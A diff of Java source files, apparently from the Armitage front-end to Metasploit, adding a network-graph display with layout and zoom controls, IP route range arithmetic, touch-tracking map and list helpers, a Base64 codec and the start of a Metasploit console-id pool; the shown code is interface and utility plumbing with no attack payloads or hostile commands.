super.paint(g2);
|
||||||
|
}
|
||||||
|
|
||||||
|
public mxInteractiveCanvas createCanvas() {
|
||||||
|
return new NetworkGraphCanvas();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** a popup menu for the graph */
|
||||||
|
protected GraphPopup popup = null;
|
||||||
|
|
||||||
|
public GraphPopup getGraphPopup() {
|
||||||
|
return popup;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setGraphPopup(GraphPopup popup) {
|
||||||
|
this.popup = popup;
|
||||||
|
}
|
||||||
|
|
||||||
|
public NetworkGraph() {
|
||||||
|
this(new Properties());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Image getScreenshot() {
|
||||||
|
LinkedList cells = new LinkedList();
|
||||||
|
|
||||||
|
/* add the edges to our list of cells to render */
|
||||||
|
Iterator i = nodes.values().iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Object node = i.next();
|
||||||
|
cells.addAll(Arrays.asList(graph.getEdges(node)));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* collect all of the nodes */
|
||||||
|
cells.addAll(nodes.values());
|
||||||
|
|
||||||
|
/* render the cells y0 */
|
||||||
|
return mxCellRenderer.createBufferedImage(
|
||||||
|
graph,
|
||||||
|
cells.toArray(),
|
||||||
|
zoom,
|
||||||
|
null,
|
||||||
|
true,
|
||||||
|
null,
|
||||||
|
new NetworkGraphCanvas());
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setTransferHandler(TransferHandler h) {
|
||||||
|
component.setTransferHandler(h);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void clearSelection() {
|
||||||
|
graph.clearSelection();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void selectAll() {
|
||||||
|
graph.selectAll();
|
||||||
|
}
|
||||||
|
|
||||||
|
public NetworkGraph(Properties display) {
|
||||||
|
|
||||||
|
/* update a few global properties */
|
||||||
|
mxConstants.VERTEX_SELECTION_COLOR = Color.decode(display.getProperty("graph.selection.color", "#00ff00"));
|
||||||
|
mxConstants.EDGE_SELECTION_COLOR = Color.decode(display.getProperty("graph.edge.color", "#3c6318"));
|
||||||
|
|
||||||
|
/* on with the show */
|
||||||
|
|
||||||
|
this.display = display;
|
||||||
|
|
||||||
|
graph = new mxGraph() {
|
||||||
|
public String getToolTipForCell(Object cell) {
|
||||||
|
if (tooltips.get(cell) == null) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
return tooltips.get(cell) + "";
|
||||||
|
}
|
||||||
|
};
|
||||||
|
graph.setAutoOrigin(true);
|
||||||
|
graph.setCellsEditable(false);
|
||||||
|
graph.setCellsResizable(false);
|
||||||
|
graph.setCellsBendable(false);
|
||||||
|
graph.setAllowDanglingEdges(false);
|
||||||
|
graph.setSplitEnabled(false);
|
||||||
|
graph.setKeepEdgesInForeground(false);
|
||||||
|
graph.setKeepEdgesInBackground(true);
|
||||||
|
|
||||||
|
parent = graph.getDefaultParent();
|
||||||
|
|
||||||
|
/* create the component... */
|
||||||
|
component = new NetworkGraphComponent(graph);
|
||||||
|
component.setFoldingEnabled(true);
|
||||||
|
component.setConnectable(false);
|
||||||
|
component.setCenterPage(true);
|
||||||
|
component.setToolTips(true);
|
||||||
|
|
||||||
|
graph.setDropEnabled(true);
|
||||||
|
|
||||||
|
/* enable the rubber band selection non-sense */
|
||||||
|
new mxRubberband(component);
|
||||||
|
|
||||||
|
/* setup the mouse listener */
|
||||||
|
addPopupListener();
|
||||||
|
|
||||||
|
/* set the background of the component */
|
||||||
|
component.getViewport().setOpaque(false);
|
||||||
|
component.setOpaque(true);
|
||||||
|
component.setBackground(Color.decode(display.getProperty("graph.background.color", "#111111")));
|
||||||
|
|
||||||
|
/* add the graph component to this object */
|
||||||
|
setLayout(new BorderLayout());
|
||||||
|
add(component, BorderLayout.CENTER);
|
||||||
|
|
||||||
|
/* setup the keyboard shortcuts */
|
||||||
|
setupShortcuts();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void addActionForKeyStroke(KeyStroke key, Action action) {
|
||||||
|
component.getActionMap().put(key.toString(), action);
|
||||||
|
component.getInputMap().put(key, key.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addActionForKey(String key, Action action) {
|
||||||
|
addActionForKeyStroke(KeyStroke.getKeyStroke(key), action);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addActionForKeySetting(String key, String dvalue, Action action) {
|
||||||
|
KeyStroke temp = KeyStroke.getKeyStroke(display.getProperty(key, dvalue));
|
||||||
|
if (temp != null) {
|
||||||
|
addActionForKeyStroke(temp, action);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doStackLayout() {
|
||||||
|
if (this.layout != null)
|
||||||
|
this.layout = "stack";
|
||||||
|
|
||||||
|
mxGraphLayout layout = new mxStackLayout(graph, true, 25);
|
||||||
|
layout.execute(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doHierarchicalLayout() {
|
||||||
|
if (this.layout != null)
|
||||||
|
this.layout = "hierarchical";
|
||||||
|
|
||||||
|
mxGraphLayout layout = new com.mxgraph.layout.hierarchical.mxHierarchicalLayout(graph);
|
||||||
|
layout.execute(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doCircleLayout() {
|
||||||
|
if (this.layout != null)
|
||||||
|
this.layout = "circle";
|
||||||
|
|
||||||
|
CircleLayout layout = new CircleLayout(graph, 100.0);
|
||||||
|
layout.execute(parent, getWidth(), getHeight(), zoom);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doTreeLayout() {
|
||||||
|
mxGraphLayout layout = new mxFastOrganicLayout(graph);
|
||||||
|
layout.execute(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void setupShortcuts() {
|
||||||
|
addActionForKeySetting("graph.clear_selection.shortcut", "pressed ESCAPE", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
clearSelection();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("graph.select_all.shortcut", "ctrl pressed A", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
selectAll();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("graph.zoom_in.shortcut", "ctrl pressed EQUALS", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
zoom(0.10);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("graph.zoom_out.shortcut", "ctrl pressed MINUS", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
zoom(-0.10);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("graph.zoom_reset.shortcut", "ctrl pressed 0", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
resetZoom();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("graph.arrange_icons_stack.shortcut", "ctrl pressed S", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
doStackLayout();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("graph.arrange_icons_circle.shortcut", "ctrl pressed C", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
doCircleLayout();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("graph.arrange_icons_hierarchical.shortcut", "ctrl pressed H", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
doHierarchicalLayout();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getCellAt(Point p) {
|
||||||
|
Point q = component.getViewport().getViewPosition();
|
||||||
|
Point z = new Point((int)(p.getX() + q.getX()), (int)(p.getY() + q.getY()));
|
||||||
|
|
||||||
|
mxCell cell = (mxCell)component.getCellAt((int)z.getX(), (int)z.getY());
|
||||||
|
if (cell != null)
|
||||||
|
return cell.getId();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String[] getSelectedHosts() {
|
||||||
|
mxCell cell;
|
||||||
|
java.util.List sel = new LinkedList();
|
||||||
|
|
||||||
|
Object[] cells = graph.getSelectionCells();
|
||||||
|
|
||||||
|
for (int y = 0; y < cells.length; y++) {
|
||||||
|
cell = (mxCell)cells[y];
|
||||||
|
if (nodes.containsKey(cell.getId()))
|
||||||
|
sel.add(cell.getId());
|
||||||
|
}
|
||||||
|
|
||||||
|
String[] selected = new String[sel.size()];
|
||||||
|
Iterator i = sel.iterator();
|
||||||
|
for (int x = 0; i.hasNext(); x++) {
|
||||||
|
selected[x] = i.next() + "";
|
||||||
|
}
|
||||||
|
|
||||||
|
return selected;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addPopupListener() {
|
||||||
|
component.getGraphControl().addMouseListener(new MouseAdapter() {
|
||||||
|
public void handleEvent(MouseEvent ev) {
|
||||||
|
if (ev.isPopupTrigger() && getGraphPopup() != null) {
|
||||||
|
getGraphPopup().showGraphPopup(getSelectedHosts(), ev);
|
||||||
|
ev.consume();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mousePressed(MouseEvent ev) {
|
||||||
|
handleEvent(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseReleased(MouseEvent ev) {
|
||||||
|
handleEvent(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseClicked(MouseEvent ev) {
|
||||||
|
handleEvent(ev);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
protected double zoom = 1.0;
|
||||||
|
|
||||||
|
public void resetZoom() {
|
||||||
|
zoom = 1.0;
|
||||||
|
zoom(0.0);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void zoom(double factor) {
|
||||||
|
zoom += factor;
|
||||||
|
component.zoomTo(zoom, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
graph.getModel().beginUpdate();
|
||||||
|
nodes.startUpdates();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setAutoLayout(String layout) {
|
||||||
|
this.layout = layout;
|
||||||
|
autoLayout();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void autoLayout() {
|
||||||
|
if (layout == null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (layout.equals("circle"))
|
||||||
|
doCircleLayout();
|
||||||
|
|
||||||
|
if (layout.equals("stack"))
|
||||||
|
doStackLayout();
|
||||||
|
|
||||||
|
if (layout.equals("hierarchical"))
|
||||||
|
doHierarchicalLayout();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void end() {
|
||||||
|
graph.getModel().endUpdate();
|
||||||
|
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
autoLayout();
|
||||||
|
graph.refresh();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
autoLayout();
|
||||||
|
graph.refresh();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** delete nodes from this graph */
|
||||||
|
public void deleteNodes(String[] ids) {
|
||||||
|
Object[] cells = new Object[ids.length];
|
||||||
|
for (int x = 0; x < ids.length; x++) {
|
||||||
|
cells[x] = nodes.remove(ids[x]);
|
||||||
|
}
|
||||||
|
graph.removeCells(cells, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** delete all nodes that were not "touched" since start() was last called */
|
||||||
|
public void deleteNodes() {
|
||||||
|
java.util.List untouched = nodes.clearUntouched();
|
||||||
|
Object[] cells = new Object[untouched.size()];
|
||||||
|
|
||||||
|
Iterator i = untouched.iterator();
|
||||||
|
for (int x = 0; i.hasNext(); x++) {
|
||||||
|
Map.Entry entry = (Map.Entry)i.next();
|
||||||
|
cells[x] = entry.getValue();
|
||||||
|
}
|
||||||
|
graph.removeCells(cells, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected TouchMap nodes = new TouchMap();
|
||||||
|
protected LinkedList edges = new LinkedList();
|
||||||
|
|
||||||
|
/** highlight a route (maybe to show it's in use...) */
|
||||||
|
public void highlightRoute(String src, String dst) {
|
||||||
|
Object[] cells = graph.getEdgesBetween(nodes.get(src), nodes.get(dst), true);
|
||||||
|
if (cells.length == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
((mxCell)cells[0]).setStyle("strokeColor=" + display.getProperty("graph.edge_highlight.color", "#00ff00") + ";strokeWidth=4");
|
||||||
|
}
|
||||||
|
|
||||||
|
/** show the meterpreter routes . :) */
|
||||||
|
public void setRoutes(Route[] routes) {
|
||||||
|
/* clear the existing edges... */
|
||||||
|
Iterator ij = edges.iterator();
|
||||||
|
while (ij.hasNext()) {
|
||||||
|
mxCell cell = (mxCell)ij.next();
|
||||||
|
graph.getModel().remove(cell);
|
||||||
|
}
|
||||||
|
|
||||||
|
edges = new LinkedList();
|
||||||
|
|
||||||
|
/* start updating the graph with our new shtuff */
|
||||||
|
Iterator i = nodes.entrySet().iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Map.Entry temp = (Map.Entry)i.next();
|
||||||
|
|
||||||
|
for (int x = 0; x < routes.length; x++) {
|
||||||
|
mxCell start = (mxCell)nodes.get(routes[x].getGateway());
|
||||||
|
|
||||||
|
if ( start != null && !temp.getKey().equals(routes[x].getGateway()) ) {
|
||||||
|
if ( routes[x].shouldRoute((String)temp.getKey()) ) {
|
||||||
|
mxCell node = (mxCell)temp.getValue();
|
||||||
|
mxCell edge = (mxCell)graph.insertEdge(parent, null, "", start, node);
|
||||||
|
edge.setStyle("strokeColor=" + display.getProperty("graph.edge.color", "#3c6318") + ";strokeWidth=4");
|
||||||
|
edges.add(edge);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Map tooltips = new HashMap();
|
||||||
|
|
||||||
|
public Object addNode(String id, String label, Image image, String tooltip) {
|
||||||
|
nodeImages.put(id, image);
|
||||||
|
|
||||||
|
mxCell cell;
|
||||||
|
if (!nodes.containsKey(id)) {
|
||||||
|
cell = (mxCell)graph.insertVertex(parent, id, label, 0, 0, 125, 97);
|
||||||
|
nodes.put(id, cell);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
cell = (mxCell)nodes.get(id);
|
||||||
|
cell.setValue(label);
|
||||||
|
}
|
||||||
|
nodes.touch(id);
|
||||||
|
|
||||||
|
/* set the tooltip for the cell */
|
||||||
|
|
||||||
|
tooltips.put(cell, tooltip);
|
||||||
|
|
||||||
|
/* create the style for this node based on the properties object */
|
||||||
|
|
||||||
|
StringBuffer style = new StringBuffer();
|
||||||
|
style.append("shape=image;image=" + id + ";");
|
||||||
|
style.append("fontColor=" + display.getProperty("graph.foreground.color", "#cccccc") + ";");
|
||||||
|
|
||||||
|
Font font = Font.decode(display.getProperty("graph.font.font", "Monospaced BOLD 14"));
|
||||||
|
style.append("fontSize=" + font.getSize() + ";");
|
||||||
|
style.append("fontFamily=" + font.getFamily() + ";");
|
||||||
|
style.append("fontStyle=" + font.getStyle() + ";");
|
||||||
|
|
||||||
|
style.append("verticalLabelPosition=bottom;verticalAlign=top");
|
||||||
|
|
||||||
|
cell.setStyle(style.toString());
|
||||||
|
|
||||||
|
return cell;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean requestFocusInWindow() {
|
||||||
|
return component.requestFocusInWindow();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,112 @@
|
||||||
|
package graph;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
public class Route {
|
||||||
|
/** convert a long to an ip address */
|
||||||
|
public static long ipToLong(String address) {
|
||||||
|
if (address == null)
|
||||||
|
return 0L;
|
||||||
|
|
||||||
|
String[] quads = address.split("\\.");
|
||||||
|
long result = 0;
|
||||||
|
|
||||||
|
/* this is a fallback in case one of the IP addresses is malformed */
|
||||||
|
if (quads.length != 4)
|
||||||
|
return 0L;
|
||||||
|
|
||||||
|
result += Integer.parseInt(quads[3]);
|
||||||
|
result += Long.parseLong(quads[2]) << 8L;
|
||||||
|
result += Long.parseLong(quads[1]) << 16L;
|
||||||
|
result += Long.parseLong(quads[0]) << 24L;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static final long RANGE_MAX = ipToLong("255.255.255.255");
|
||||||
|
|
||||||
|
protected long begin;
|
||||||
|
protected long end;
|
||||||
|
protected String gateway;
|
||||||
|
protected String network;
|
||||||
|
protected String mask;
|
||||||
|
|
||||||
|
public Route(String address) {
|
||||||
|
String[] description = address.split("/");
|
||||||
|
String host = "", network = "";
|
||||||
|
|
||||||
|
if (description.length == 1) {
|
||||||
|
host = address;
|
||||||
|
|
||||||
|
String[] quads = address.split("\\.");
|
||||||
|
if (quads[0].equals("0")) {
|
||||||
|
network = "1";
|
||||||
|
}
|
||||||
|
else if (quads[1].equals("0")) {
|
||||||
|
network = "8";
|
||||||
|
}
|
||||||
|
else if (quads[2].equals("0")) {
|
||||||
|
network = "16";
|
||||||
|
}
|
||||||
|
else if (quads[3].equals("0")) {
|
||||||
|
network = "24";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
network = "32";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
host = description[0];
|
||||||
|
network = description[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
this.network = host;
|
||||||
|
this.mask = network;
|
||||||
|
this.gateway = "undefined";
|
||||||
|
|
||||||
|
begin = ipToLong(host);
|
||||||
|
try {
|
||||||
|
end = begin + (RANGE_MAX >> Integer.parseInt(network));
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
System.err.println(network + " is malformed!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** create an object to represent a network and where it's routing through */
|
||||||
|
public Route(String address, String networkMask, String gateway) {
|
||||||
|
begin = ipToLong(address);
|
||||||
|
end = begin + (RANGE_MAX - ipToLong(networkMask));
|
||||||
|
|
||||||
|
this.gateway = gateway;
|
||||||
|
|
||||||
|
this.network = address;
|
||||||
|
this.mask = networkMask;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean equals(Object o) {
|
||||||
|
if (o instanceof Route) {
|
||||||
|
Route p = (Route)o;
|
||||||
|
return p.begin == begin && p.end == end && p.gateway.equals(gateway);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int hashCode() {
|
||||||
|
return (int)(begin + end + gateway.hashCode());
|
||||||
|
}
|
||||||
|
|
||||||
|
/** return the gateway */
|
||||||
|
public String getGateway() {
|
||||||
|
return gateway;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** check if this route applies to the specified network address */
|
||||||
|
public boolean shouldRoute(String address) {
|
||||||
|
long check = ipToLong(address);
|
||||||
|
return check >= begin && check <= end;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String toString() {
|
||||||
|
return network + "/" + mask + " via " + gateway;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,31 @@
|
||||||
|
package graph;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/** A touch map lets me start an operation, "touch" each updated node, and then delete any untouched node */
|
||||||
|
public class TouchList extends LinkedList {
|
||||||
|
protected Set touched = new HashSet();
|
||||||
|
|
||||||
|
public void startUpdates() {
|
||||||
|
touched.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void touch(Object key) {
|
||||||
|
touched.add(key);
|
||||||
|
}
|
||||||
|
|
||||||
|
public List clearUntouched() {
|
||||||
|
List results = new LinkedList();
|
||||||
|
|
||||||
|
Iterator i = this.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Object j = i.next();
|
||||||
|
if (!touched.contains(j)) {
|
||||||
|
results.add(j);
|
||||||
|
i.remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,31 @@
|
||||||
|
package graph;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/** A touch map lets me start an operation, "touch" each updated node, and then delete any untouched node */
|
||||||
|
public class TouchMap extends HashMap {
|
||||||
|
protected Set touched = new HashSet();
|
||||||
|
|
||||||
|
public void startUpdates() {
|
||||||
|
touched.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void touch(Object key) {
|
||||||
|
touched.add(key);
|
||||||
|
}
|
||||||
|
|
||||||
|
public List clearUntouched() {
|
||||||
|
List results = new LinkedList();
|
||||||
|
|
||||||
|
Iterator i = this.entrySet().iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Map.Entry j = (Map.Entry)i.next();
|
||||||
|
if (!touched.contains(j.getKey())) {
|
||||||
|
results.add(j);
|
||||||
|
i.remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,8 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
|
||||||
|
public interface Async {
|
||||||
|
public void execute_async(String methodName);
|
||||||
|
public void execute_async(String methodName, Object[] args);
|
||||||
|
}
|
|
@ -0,0 +1,133 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Simple Base64 encoding/decoding. Very loosely based on Apache Base64 class.
|
||||||
|
*
|
||||||
|
* @author scriptjunkie
|
||||||
|
*
|
||||||
|
* Taken from the MSF Java GUI Framework.
|
||||||
|
*/
|
||||||
|
public class Base64 {
|
||||||
|
private static final char intToBase64[] = {
|
||||||
|
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
|
||||||
|
'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',
|
||||||
|
'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd',
|
||||||
|
'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
||||||
|
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
|
||||||
|
'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7',
|
||||||
|
'8', '9', '+', '/'
|
||||||
|
};
|
||||||
|
private static final byte base64ToInt[] = {
|
||||||
|
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
|
||||||
|
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
|
||||||
|
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
|
||||||
|
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
|
||||||
|
-1, -1, -1, 62, -1, -1, -1, 63, 52, 53,
|
||||||
|
54, 55, 56, 57, 58, 59, 60, 61, -1, -1,
|
||||||
|
-1, -1, -1, -1, -1, 0, 1, 2, 3, 4,
|
||||||
|
5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
|
||||||
|
15, 16, 17, 18, 19, 20, 21, 22, 23, 24,
|
||||||
|
25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
|
||||||
|
29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
|
||||||
|
39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
|
||||||
|
49, 50, 51
|
||||||
|
};
|
||||||
|
|
||||||
|
public static String encode(String source) {
|
||||||
|
try {
|
||||||
|
return encode(source.getBytes("UTF-8"));
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
return encode(source.getBytes());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Converts a byte array to a bae64-encoded String. */
|
||||||
|
public static String encode(byte source[]) {
|
||||||
|
int offset = 0;
|
||||||
|
int num = 0;
|
||||||
|
int numBytes = 0;
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
for (int i = 0; i < source.length; i++) {
|
||||||
|
int b = source[offset++];
|
||||||
|
if (b < 0)
|
||||||
|
b += 256;
|
||||||
|
num = (num << 8) + b;
|
||||||
|
if (++numBytes != 3)
|
||||||
|
continue;
|
||||||
|
sb.append(intToBase64[num >> 18]);
|
||||||
|
sb.append(intToBase64[num >> 12 & 0x3f]);
|
||||||
|
sb.append(intToBase64[num >> 6 & 0x3f]);
|
||||||
|
sb.append(intToBase64[num & 0x3f]);
|
||||||
|
num = 0;
|
||||||
|
numBytes = 0;
|
||||||
|
}
|
||||||
|
if (numBytes > 0) {
|
||||||
|
if (numBytes == 1) {
|
||||||
|
sb.append(intToBase64[num >> 2]);
|
||||||
|
sb.append(intToBase64[num << 4 & 0x3f]);
|
||||||
|
sb.append("==");
|
||||||
|
} else {
|
||||||
|
sb.append(intToBase64[num >> 10]);
|
||||||
|
sb.append(intToBase64[num >> 4 & 0x3f]);
|
||||||
|
sb.append(intToBase64[num << 2 & 0x3f]);
|
||||||
|
sb.append('=');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
/** Decodes a Base64-encoded String to a byte array. */
|
||||||
|
public static byte[] decode(String source) {
|
||||||
|
int num=0;
|
||||||
|
int numBytes=0;
|
||||||
|
int eofBytes = 0;
|
||||||
|
ByteArrayOutputStream bout = new ByteArrayOutputStream();
|
||||||
|
for (int i = 0; i < source.length(); i++) {
|
||||||
|
char c = source.charAt(i);
|
||||||
|
if (Character.isWhitespace(c))
|
||||||
|
continue;
|
||||||
|
if (c == '=') {
|
||||||
|
eofBytes++;
|
||||||
|
num = num << 6;
|
||||||
|
switch (++numBytes) {
|
||||||
|
case 1:
|
||||||
|
case 2:
|
||||||
|
throw new RuntimeException("Unexpected end of stream character (=)");
|
||||||
|
case 3:
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
bout.write((byte) (num >> 16));
|
||||||
|
if (eofBytes == 1)
|
||||||
|
bout.write((byte) (num >> 8));
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
throw new RuntimeException("Trailing garbage detected");
|
||||||
|
default:
|
||||||
|
throw new IllegalStateException("Invalid value for numBytes");
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (eofBytes > 0)
|
||||||
|
throw new RuntimeException("Base64 characters after end of stream character (=) detected.");
|
||||||
|
if (c >= 0 && c < Base64.base64ToInt.length) {
|
||||||
|
int result = Base64.base64ToInt[c];
|
||||||
|
if (result >= 0) {
|
||||||
|
num = (num << 6) + result;
|
||||||
|
if (++numBytes != 4)
|
||||||
|
continue;
|
||||||
|
bout.write((byte) (num >> 16));
|
||||||
|
bout.write((byte) (num >> 8 & 0xff));
|
||||||
|
bout.write((byte) (num & 0xff));
|
||||||
|
num = 0;
|
||||||
|
numBytes = 0;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!Character.isWhitespace(c))
|
||||||
|
throw new RuntimeException("Invalid Base64 character: " + (int) c);
|
||||||
|
}
|
||||||
|
return bout.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,100 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/* Pool Metasploit console ids and make them available for reuse. Why? Two reasons. One,
|
||||||
|
Metasploit 4.3-release has a nice race condition where every console.create call is
|
||||||
|
a game of Russian roulette with an opportunity to bring the entire Metasploit daemon
|
||||||
|
down. Two, each console.create call takes around 300ms. Armitage uses temporary consoles
|
||||||
|
for a lot of things, this will help make these uses slightly snappier. */
|
||||||
|
public class ConsolePool implements RpcConnection {
|
||||||
|
protected RpcConnection client;
|
||||||
|
protected Set inactive = new HashSet();
|
||||||
|
protected Set tracked = new HashSet();
|
||||||
|
|
||||||
|
public Object execute(String methodName) throws IOException {
|
||||||
|
return execute(methodName, new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object execute(String methodName, Object[] params) throws IOException {
|
||||||
|
if (methodName.equals("console.allocate")) {
|
||||||
|
return allocate();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("console.release")) {
|
||||||
|
release((String)params[0]);
|
||||||
|
}
|
||||||
|
else if (methodName.equals("console.release_and_destroy")) {
|
||||||
|
synchronized (this) {
|
||||||
|
tracked.remove((String)params[0]);
|
||||||
|
}
|
||||||
|
release((String)params[0]);
|
||||||
|
}
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ConsolePool(RpcConnection client) {
|
||||||
|
this.client = client;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Map allocate() throws IOException {
|
||||||
|
synchronized (this) {
|
||||||
|
while (inactive.size() > 0) {
|
||||||
|
Iterator i = inactive.iterator();
|
||||||
|
Map rv = (Map)i.next();
|
||||||
|
i.remove();
|
||||||
|
|
||||||
|
/* clear any data from the console before we return it */
|
||||||
|
Map temp = (Map)client.execute("console.read", new Object[] { rv.get("id") + "" });
|
||||||
|
|
||||||
|
/* this is a sanity check to make sure this console is not dead or hung */
|
||||||
|
if ("true".equals(temp.get("busy")) || "".equals(temp.get("prompt"))) {
|
||||||
|
((RpcAsync)client).execute_async("console.destroy", new Object[] { rv.get("id") + "" });
|
||||||
|
//System.err.println("Kill Console: " + rv.get("id") + " => " + temp);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
//System.err.println("Reusing: " + rv.get("id"));
|
||||||
|
return rv;
|
||||||
|
}
|
||||||
|
}
